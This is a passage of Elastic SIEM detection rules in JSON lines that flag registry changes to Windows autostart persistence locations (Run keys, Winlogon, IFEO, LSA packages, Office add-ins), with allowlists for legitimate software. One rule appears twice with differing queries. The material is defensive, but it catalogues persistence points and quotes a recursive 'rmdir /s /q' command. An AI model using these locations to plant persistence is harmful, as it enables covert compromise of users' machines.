(winlog.event_data.TargetObject:*GoogleDrive* AND winlog.event_data.Details:(\"\\{CFE8B367\\-77A7\\-41D7\\-9C90\\-75D16D7DC6B6\\}\" OR \"\\{A8E52322\\-8734\\-481D\\-A7E2\\-27B309EF8D56\\}\" OR \"\\{C973DA94\\-CBDF\\-4E77\\-81D1\\-E5B794FBD146\\}\" OR \"\\{51EF1569\\-67EE\\-4AD6\\-9646\\-E726C3FFC8A2\\}\")) OR (winlog.event_data.Details:C\\:\\\\Windows\\\\system32\\\\cmd.exe\\ \\/q\\ \\/c\\ rmdir\\ \\/s\\ \\/q\\ \\\"C\\:\\\\Users\\\\* AND winlog.event_data.Details:*\\\\AppData\\\\Local\\\\Microsoft\\\\OneDrive\\\\*) OR (winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\\\{c60fd5ac\\-367d\\-4e3a\\-a975\\-f157502ac30a\\} AND winlog.event_data.Details:*\\\\AppData\\\\Local\\\\Package\\ Cache\\\\\\{c60fd5ac\\-367d\\-4e3a\\-a975\\-f157502ac30a\\}\\\\python* AND winlog.event_data.Details:*.exe\\\"\\ \\/burn.runonce) OR (process.executable:(C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\* OR C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\Updates\\\\*) AND process.executable:*\\\\OfficeClickToRun.exe) OR (process.executable:\"C\\:\\\\Program\\ Files\\\\Windows\\ Defender\\\\MsMpEng.exe\"))))","meta":{"from":"1m"},"severity":"medium","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects modification of autostart extensibility point (ASEP) in registry. Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split). License: ","enabled":false,"false_positives":["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason","Legitimate administrator sets up autorun keys for legitimate reason"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"13d8f83a-eb53-300a-4d38-a7fd78a91cf5","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"CurrentVersion NT Autorun Keys Modification","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion* AND winlog.event_data.TargetObject:(*\\\\Winlogon\\\\VmApplet* OR *\\\\Winlogon\\\\Userinit* OR *\\\\Winlogon\\\\Taskman* OR *\\\\Winlogon\\\\Shell* OR *\\\\Winlogon\\\\GpExtensions* OR *\\\\Winlogon\\\\AppSetup* OR *\\\\Winlogon\\\\AlternateShells\\\\AvailableShells* OR *\\\\Windows\\\\IconServiceLib* OR *\\\\Windows\\\\Appinit_Dlls* OR *\\\\Image\\ File\\ Execution\\ Options* OR *\\\\Font\\ Drivers* OR *\\\\Drivers32* OR *\\\\Windows\\\\Run* OR *\\\\Windows\\\\Load*)) AND (NOT ((winlog.event_data.Details:\"\$Empty\$\") OR (process.executable:C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\\\Temp\\\\* AND process.executable:*\\\\MicrosoftEdgeUpdate.exe) OR (winlog.event_data.TargetObject:(*\\\\ClickToRunStore\\\\HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\* OR *\\\\ClickToRun\\\\REGISTRY\\\\MACHINE\\\\Software\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\*) OR process.executable:(\"C\\:\\\\Program\\ Files\\\\Microsoft\\ Office\\\\root\\\\integration\\\\integrator.exe\" OR \"C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\ Office\\\\root\\\\integration\\\\integrator.exe\") OR winlog.event_data.TargetObject:(*\\\\Image\\ File\\ Execution\\ Options\\\\OSPPREARM.EXE\\\\DisableExceptionChainValidation OR *\\\\Image\\ File\\ Execution\\ Options\\\\LICLUA.EXE\\\\DisableExceptionChainValidation)) OR (process.executable:*\\\\DropboxUpdate.exe AND winlog.event_data.TargetObject:*\\\\Image\\ File\\ Execution\\ Options\\\\DropboxUpdate.exe\\\\DisableExceptionChainValidation) OR (process.executable:(C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\* OR C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\Updates\\\\*) AND process.executable:*\\\\OfficeClickToRun.exe))))","meta":{"from":"1m"},"severity":"medium","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects modification of autostart extensibility point (ASEP) in registry. Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split). License: ","enabled":false,"false_positives":["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason","Legitimate administrator sets up autorun keys for legitimate reason"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e7c4106e-df8e-9350-4114-3eb7d23981ad","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Office Autorun Keys Modification","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*\\\\Software\\\\Wow6432Node\\\\Microsoft\\\\Office* OR *\\\\Software\\\\Microsoft\\\\Office*) AND winlog.event_data.TargetObject:(*\\\\Word\\\\Addins* OR *\\\\PowerPoint\\\\Addins* OR *\\\\Outlook\\\\Addins* OR *\\\\Onenote\\\\Addins* OR *\\\\Excel\\\\Addins* OR *\\\\Access\\\\Addins* OR *test\\\\Special\\\\Perf*)) AND (NOT ((winlog.event_data.Details:\"\$Empty\$\") OR (winlog.event_data.TargetObject:(*\\\\Excel\\\\Addins\\\\AdHocReportingExcelClientLib.AdHocReportingExcelClientAddIn.1\\\\* OR *\\\\Excel\\\\Addins\\\\ExcelPlugInShell.PowerMapConnect\\\\* OR *\\\\Excel\\\\Addins\\\\NativeShim\\\\* OR *\\\\Excel\\\\Addins\\\\NativeShim.InquireConnector.1\\\\* OR *\\\\Excel\\\\Addins\\\\PowerPivotExcelClientAddIn.NativeEntry.1\\\\*)) OR (winlog.event_data.TargetObject:(*\\\\Outlook\\\\AddIns\\\\AccessAddin.DC\\\\* OR *\\\\Outlook\\\\AddIns\\\\ColleagueImport.ColleagueImportAddin\\\\* OR *\\\\Outlook\\\\AddIns\\\\EvernoteCC.EvernoteContactConnector\\\\* OR *\\\\Outlook\\\\AddIns\\\\EvernoteOLRD.Connect\\\\* OR *\\\\Outlook\\\\Addins\\\\Microsoft.VbaAddinForOutlook.1\\\\* OR *\\\\Outlook\\\\Addins\\\\OcOffice.OcForms\\\\* OR *\\\\Outlook\\\\Addins\\\\OscAddin.Connect\\\\* OR *\\\\Outlook\\\\Addins\\\\OutlookChangeNotifier.Connect\\\\* OR *\\\\Outlook\\\\Addins\\\\UCAddin.LyncAddin.1* OR *\\\\Outlook\\\\Addins\\\\UCAddin.UCAddin.1* OR *\\\\Outlook\\\\Addins\\\\UmOutlookAddin.FormRegionAddin\\\\*)) OR (process.executable:(C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\* OR C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\Updates\\\\*) AND process.executable:*\\\\OfficeClickToRun.exe))))","meta":{"from":"1m"},"severity":"medium","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects modification of autostart extensibility point (ASEP) in registry. Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split). License: ","enabled":false,"false_positives":["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason","Legitimate administrator sets up autorun keys for legitimate reason"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"96c15a0a-07f3-e2cd-a409-445ec200d4ab","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Wow6432Node CurrentVersion Autorun Keys Modification","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Wow6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion* AND winlog.event_data.TargetObject:(*\\\\ShellServiceObjectDelayLoad* OR *\\\\Run\\\\* OR *\\\\RunOnce\\\\* OR *\\\\Explorer\\\\ShellServiceObjects* OR *\\\\Explorer\\\\ShellIconOverlayIdentifiers* OR *\\\\Explorer\\\\ShellExecuteHooks* OR *\\\\Explorer\\\\SharedTaskScheduler* OR *\\\\Explorer\\\\Browser\\ Helper\\ Objects*)) AND (NOT ((winlog.event_data.Details:\"\$Empty\$\") OR (process.executable:*C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\\\EdgeUpdate\\\\Install\\\\\\{* AND process.executable:*\\\\setup.exe*) OR (process.executable:\"C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\OfficeClickToRun.exe\" AND winlog.event_data.TargetObject:*\\\\Office\\\\ClickToRun\\\\REGISTRY\\\\MACHINE\\\\Software\\\\Wow6432Node\\\\*) OR (process.executable:(\"C\\:\\\\Program\\ Files\\\\Microsoft\\ Office\\\\root\\\\integration\\\\integrator.exe\" OR \"C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\ Office\\\\root\\\\integration\\\\integrator.exe\") AND winlog.event_data.TargetObject:*\\\\Explorer\\\\Browser\\ Helper\\ Objects\\\\\\{31D09BA0\\-12F5\\-4CCE\\-BE8A\\-2923E76605DA\\}\\\\*) OR (winlog.event_data.Details:*\\-A251\\-47B7\\-93E1\\-CDD82E34AF8B\\} OR winlog.event_data.Details:\"grpconv\\ \\-o\" OR winlog.event_data.Details:*C\\:\\\\Program\\ Files* AND winlog.event_data.Details:*\\\\Dropbox\\\\Client\\\\Dropbox.exe* AND winlog.event_data.Details:*\\ \\/systemstartup*) OR (winlog.event_data.TargetObject:*\\\\Explorer\\\\Browser\\ Helper\\ Objects\\\\\\{92EF2EAD\\-A7CE\\-4424\\-B0DB\\-499CF856608E\\}\\\\NoExplorer) OR (process.executable:*\\\\windowsdesktop\\-runtime\\-* AND winlog.event_data.TargetObject:(*\\\\WOW6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\\\{e2d1ae32\\-dd1d\\-4ad7\\-a298\\-10e42e7840fc\\} OR *\\\\WOW6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\\\{7037b699\\-7382\\-448c\\-89a7\\-4765961d2537\\}) AND winlog.event_data.Details:(\\\"C\\:\\\\ProgramData\\\\Package\\ Cache\\\\\\{7037b699\\-7382\\-448c\\-89a7\\-4765961d2537\\}\\\\windowsdesktop\\-runtime\\-* OR \\\"C\\:\\\\ProgramData\\\\Package\\ Cache\\\\\\{e2d1ae32\\-dd1d\\-4ad7\\-a298\\-10e42e7840fc\\}\\\\windowsdesktop\\-runtime\\-*) AND winlog.event_data.Details:*.exe\\\"\\ \\/burn.runonce) OR (process.executable:(C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\* OR C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\Updates\\\\*) AND process.executable:*\\\\OfficeClickToRun.exe))))","meta":{"from":"1m"},"severity":"medium","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects modification of autostart extensibility point (ASEP) in registry. Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split). License: ","enabled":false,"false_positives":["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason","Legitimate administrator sets up autorun keys for legitimate reason"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7f2a4ca7-d0c0-ee69-56e6-105f27f39151","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Classes Autorun Keys Modification","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Software\\\\Classes* AND winlog.event_data.TargetObject:(*\\\\Folder\\\\ShellEx\\\\ExtShellFolderViews* OR *\\\\Folder\\\\ShellEx\\\\DragDropHandlers* OR *\\\\Folder\\\\Shellex\\\\ColumnHandlers* OR *\\\\Filter* OR *\\\\Exefile\\\\Shell\\\\Open\\\\Command\\\\\$Default\$* OR *\\\\Directory\\\\Shellex\\\\DragDropHandlers* OR *\\\\Directory\\\\Shellex\\\\CopyHookHandlers* OR *\\\\CLSID\\\\\\{AC757296\\-3522\\-4E11\\-9862\\-C17BE5A1767E\\}\\\\Instance* OR *\\\\CLSID\\\\\\{ABE3B9A4\\-257D\\-4B97\\-BD1A\\-294AF496222E\\}\\\\Instance* OR *\\\\CLSID\\\\\\{7ED96837\\-96F0\\-4812\\-B211\\-F13C24117ED3\\}\\\\Instance* OR *\\\\CLSID\\\\\\{083863F1\\-70DE\\-11d0\\-BD40\\-00A0C911CE86\\}\\\\Instance* OR *\\\\Classes\\\\AllFileSystemObjects\\\\ShellEx\\\\DragDropHandlers* OR *\\\\.exe* OR *\\\\.cmd* OR *\\\\ShellEx\\\\PropertySheetHandlers* OR *\\\\ShellEx\\\\ContextMenuHandlers*)) AND (NOT ((winlog.event_data.Details:\"\$Empty\$\") OR (winlog.event_data.Details:\"\\{807583E5\\-5146\\-11D5\\-A672\\-00B0D022E945\\}\"))))","meta":{"from":"1m"},"severity":"medium","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects modification of autostart extensibility point (ASEP) in registry. Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split). License: ","enabled":false,"false_positives":["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason","Legitimate administrator sets up autorun keys for legitimate reason"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"00150e44-80a9-e1cb-70ac-256df175d981","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Commun Autorun Keys Modification","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*\\\\SOFTWARE\\\\Wow6432Node\\\\Microsoft\\\\Windows\\ CE\\ Services\\\\AutoStart* OR *\\\\Software\\\\Wow6432Node\\\\Microsoft\\\\Command\\ Processor\\\\Autorun* OR *\\\\SOFTWARE\\\\Wow6432Node\\\\Microsoft\\\\Active\\ Setup\\\\Installed\\ Components* OR *\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ CE\\ Services\\\\AutoStartOnDisconnect* OR *\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ CE\\ Services\\\\AutoStartOnConnect* OR *\\\\SYSTEM\\\\Setup\\\\CmdLine* OR *\\\\Software\\\\Microsoft\\\\Ctf\\\\LangBarAddin* OR *\\\\Software\\\\Microsoft\\\\Command\\ Processor\\\\Autorun* OR *\\\\SOFTWARE\\\\Microsoft\\\\Active\\ Setup\\\\Installed\\ Components* OR *\\\\SOFTWARE\\\\Classes\\\\Protocols\\\\Handler* OR *\\\\SOFTWARE\\\\Classes\\\\Protocols\\\\Filter* OR *\\\\SOFTWARE\\\\Classes\\\\Htmlfile\\\\Shell\\\\Open\\\\Command\\\\\$Default\$* OR *\\\\Environment\\\\UserInitMprLogonScript* OR *\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\Control\\ Panel\\\\Desktop\\\\Scrnsave.exe* OR *\\\\Software\\\\Microsoft\\\\Internet\\ Explorer\\\\UrlSearchHooks* OR *\\\\SOFTWARE\\\\Microsoft\\\\Internet\\ Explorer\\\\Desktop\\\\Components* OR *\\\\Software\\\\Classes\\\\Clsid\\\\\\{AB8902B4\\-09CA\\-4bb6\\-B78D\\-A8F59079A8D5\\}\\\\Inprocserver32* OR *\\\\Control\\ Panel\\\\Desktop\\\\Scrnsave.exe*)) AND (NOT (winlog.event_data.Details:\"\$Empty\$\")))","meta":{"from":"1m"},"severity":"medium","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects modification of autostart extensibility point (ASEP) in registry. Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split). License: ","enabled":false,"false_positives":["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason","Legitimate administrator sets up autorun keys for legitimate reason"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"639b6b7b-2c32-0def-d40c-9dd07ff47f75","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"CurrentControlSet Autorun Keys Modification","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SYSTEM\\\\CurrentControlSet\\\\Control* AND winlog.event_data.TargetObject:(*\\\\Terminal\\ Server\\\\WinStations\\\\RDP\\-Tcp\\\\InitialProgram* OR *\\\\Terminal\\ Server\\\\Wds\\\\rdpwd\\\\StartupPrograms* OR *\\\\SecurityProviders\\\\SecurityProviders* OR *\\\\SafeBoot\\\\AlternateShell* OR *\\\\Print\\\\Providers* OR *\\\\Print\\\\Monitors* OR *\\\\NetworkProvider\\\\Order* OR *\\\\Lsa\\\\Notification\\ Packages* OR *\\\\Lsa\\\\Authentication\\ Packages* OR *\\\\BootVerificationProgram\\\\ImagePath*)) AND (NOT ((winlog.event_data.Details:\"\$Empty\$\") OR (process.executable:\"C\\:\\\\Windows\\\\System32\\\\spoolsv.exe\" AND winlog.event_data.TargetObject:*\\\\Print\\\\Monitors\\\\CutePDF\\ Writer\\ Monitor* AND winlog.event_data.Details:(\"cpwmon64_v40.dll\" OR \"CutePDF\\ Writer\")))))","meta":{"from":"1m"},"severity":"medium","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects modification of autostart extensibility point (ASEP) in registry. Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split). License: ","enabled":false,"false_positives":["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason","Legitimate administrator sets up autorun keys for legitimate reason"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d326c13c-5ae7-9aaa-63a4-1714130e285b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"CurrentVersion Autorun Keys Modification","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion* AND winlog.event_data.TargetObject:(*\\\\ShellServiceObjectDelayLoad* OR *\\\\Run\\\\* OR *\\\\RunOnce\\\\* OR *\\\\Policies\\\\System\\\\Shell* OR *\\\\Policies\\\\Explorer\\\\Run* OR *\\\\Group\\ Policy\\\\Scripts\\\\Startup* OR *\\\\Group\\ Policy\\\\Scripts\\\\Shutdown* OR *\\\\Group\\ Policy\\\\Scripts\\\\Logon* OR *\\\\Group\\ Policy\\\\Scripts\\\\Logoff* OR *\\\\Explorer\\\\ShellServiceObjects* OR *\\\\Explorer\\\\ShellIconOverlayIdentifiers* OR *\\\\Explorer\\\\ShellExecuteHooks* OR *\\\\Explorer\\\\SharedTaskScheduler* OR *\\\\Explorer\\\\Browser\\ Helper\\ Objects* OR *\\\\Authentication\\\\PLAP\\ Providers* OR *\\\\Authentication\\\\Credential\\ Providers* OR *\\\\Authentication\\\\Credential\\ Provider\\ Filters*)) AND (NOT ((winlog.event_data.Details:\"\$Empty\$\" OR winlog.event_data.TargetObject:*\\\\NgcFirst\\\\ConsecutiveSwitchCount OR process.executable:(*\\\\AppData\\\\Local\\\\Microsoft\\\\OneDrive\\\\Update\\\\OneDriveSetup.exe OR *\\\\AppData\\\\Roaming\\\\Spotify\\\\Spotify.exe) OR process.executable:(\"C\\:\\\\WINDOWS\\\\system32\\\\devicecensus.exe\" OR \"C\\:\\\\Program\\ Files\\\\Microsoft\\ OneDrive\\\\StandaloneUpdater\\\\OneDriveSetup.exe\" OR \"C\\:\\\\Program\\ Files\\\\KeePass\\ Password\\ Safe\\ 2\\\\ShInstUtil.exe\" OR \"C\\:\\\\Program\\ Files\\\\Everything\\\\Everything.exe\" OR \"C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\OfficeClickToRun.exe\" OR \"C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\ Office\\\\root\\\\integration\\\\integrator.exe\")) OR (process.executable:(C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\\\EdgeUpdate\\\\Install\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\\\EdgeWebView\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe*)) OR (process.executable:\"C\\:\\\\Windows\\\\system32\\\\regsvr32.exe\" AND winlog.event_data.TargetObject:*DropboxExt* AND winlog.event_data.Details:*A251\\-47B7\\-93E1\\-CDD82E34AF8B\\}) OR (winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\Opera\\ Browser\\ Assistant AND winlog.event_data.Details:\"C\\:\\\\Program\\ Files\\\\Opera\\\\assistant\\\\browser_assistant.exe\") OR (winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\iTunesHelper AND winlog.event_data.Details:\"\\\"C\\:\\\\Program\\ Files\\\\iTunes\\\\iTunesHelper.exe\\\"\") OR (winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\zoommsirepair AND winlog.event_data.Details:\"\\\"C\\:\\\\Program\\ Files\\\\Zoom\\\\bin\\\\installer.exe\\\"\\ \\/repair\") OR (winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\Greenshot AND winlog.event_data.Details:\"C\\:\\\\Program\\ Files\\\\Greenshot\\\\Greenshot.exe\") OR (winlog.event_data.TargetObject:*\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\GoogleDriveFS AND winlog.event_data.Details:C\\:\\\\Program\\ Files\\\\Google\\\\Drive\\ File\\ Stream\\\\* AND winlog.event_data.Details:*\\\\GoogleDriveFS.exe\\ \\-\\-startup_mode) OR (winlog.event_data.TargetObject:*GoogleDrive* AND winlog.event_data.Details:(\"\\{CFE8B367\\-77A7\\-41D7\\-9C90\\-75D16D7DC6B6\\}\" OR \"\\{A8E52322\\-8734\\-481D\\-A7E2\\-27B309EF8D56\\}\" OR \"\\{C973DA94\\-CBDF\\-4E77\\-81D1\\-E5B794FBD146\\}\" OR \"\\{51EF1569\\-67EE\\-4AD6\\-9646\\-E726C3FFC8A2\\}\")) OR (winlog.event_data.Details:C\\:\\\\Windows\\\\system32\\\\cmd.exe\\ \\/q\\ \\/c\\ rmdir\\ \\/s\\ \\/q\\ \\\"C\\:\\\\Users\\\\* AND winlog.event_data.Details:*\\\\AppData\\\\Local\\\\Microsoft\\\\OneDrive\\\\*) OR (winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\\\{c60fd5ac\\-367d\\-4e3a\\-a975\\-f157502ac30a\\} AND winlog.event_data.Details:*\\\\AppData\\\\Local\\\\Package\\ Cache\\\\\\{c60fd5ac\\-367d\\-4e3a\\-a975\\-f157502ac30a\\}\\\\python* AND winlog.event_data.Details:*.exe\\\"\\ \\/burn.runonce))))","meta":{"from":"1m"},"severity":"medium","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects modification of autostart extensibility point (ASEP) in registry. Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split). License: ","enabled":false,"false_positives":["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason","Legitimate administrator sets up autorun keys for legitimate reason"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"13d8f83a-eb53-300a-4d38-a7fd78a91cf5","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"CurrentVersion NT Autorun Keys Modification","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion* AND winlog.event_data.TargetObject:(*\\\\Winlogon\\\\VmApplet* OR *\\\\Winlogon\\\\Userinit* OR *\\\\Winlogon\\\\Taskman* OR *\\\\Winlogon\\\\Shell* OR *\\\\Winlogon\\\\GpExtensions* OR *\\\\Winlogon\\\\AppSetup* OR *\\\\Winlogon\\\\AlternateShells\\\\AvailableShells* OR *\\\\Windows\\\\IconServiceLib* OR *\\\\Windows\\\\Appinit_Dlls* OR *\\\\Image\\ File\\ Execution\\ Options* OR *\\\\Font\\ Drivers* OR *\\\\Drivers32* OR *\\\\Windows\\\\Run* OR *\\\\Windows\\\\Load*)) AND (NOT ((winlog.event_data.Details:\"\$Empty\$\") OR (process.executable:C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\\\Temp\\\\* AND process.executable:*\\\\MicrosoftEdgeUpdate.exe) OR (winlog.event_data.TargetObject:(*\\\\ClickToRunStore\\\\HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\* OR *\\\\ClickToRun\\\\REGISTRY\\\\MACHINE\\\\Software\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\*) OR process.executable:(\"C\\:\\\\Program\\ Files\\\\Microsoft\\ Office\\\\root\\\\integration\\\\integrator.exe\" OR \"C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\ Office\\\\root\\\\integration\\\\integrator.exe\") OR winlog.event_data.TargetObject:(*\\\\Image\\ File\\ Execution\\ Options\\\\OSPPREARM.EXE\\\\DisableExceptionChainValidation OR *\\\\Image\\ File\\ Execution\\ Options\\\\LICLUA.EXE\\\\DisableExceptionChainValidation)) OR (process.executable:*\\\\DropboxUpdate.exe AND winlog.event_data.TargetObject:*\\\\Image\\ File\\ Execution\\ Options\\\\DropboxUpdate.exe\\\\DisableExceptionChainValidation))))","meta":{"from":"1m"},"severity":"medium","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects modification of autostart extensibility point (ASEP) in registry. Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split). License: ","enabled":false,"false_positives":["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason","Legitimate administrator sets up autorun keys for legitimate reason"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"cd61239a-cd60-bf54-9df3-d6b2faf09f6e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Internet Explorer Autorun Keys Modification","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*\\\\Software\\\\Wow6432Node\\\\Microsoft\\\\Internet\\ Explorer* OR 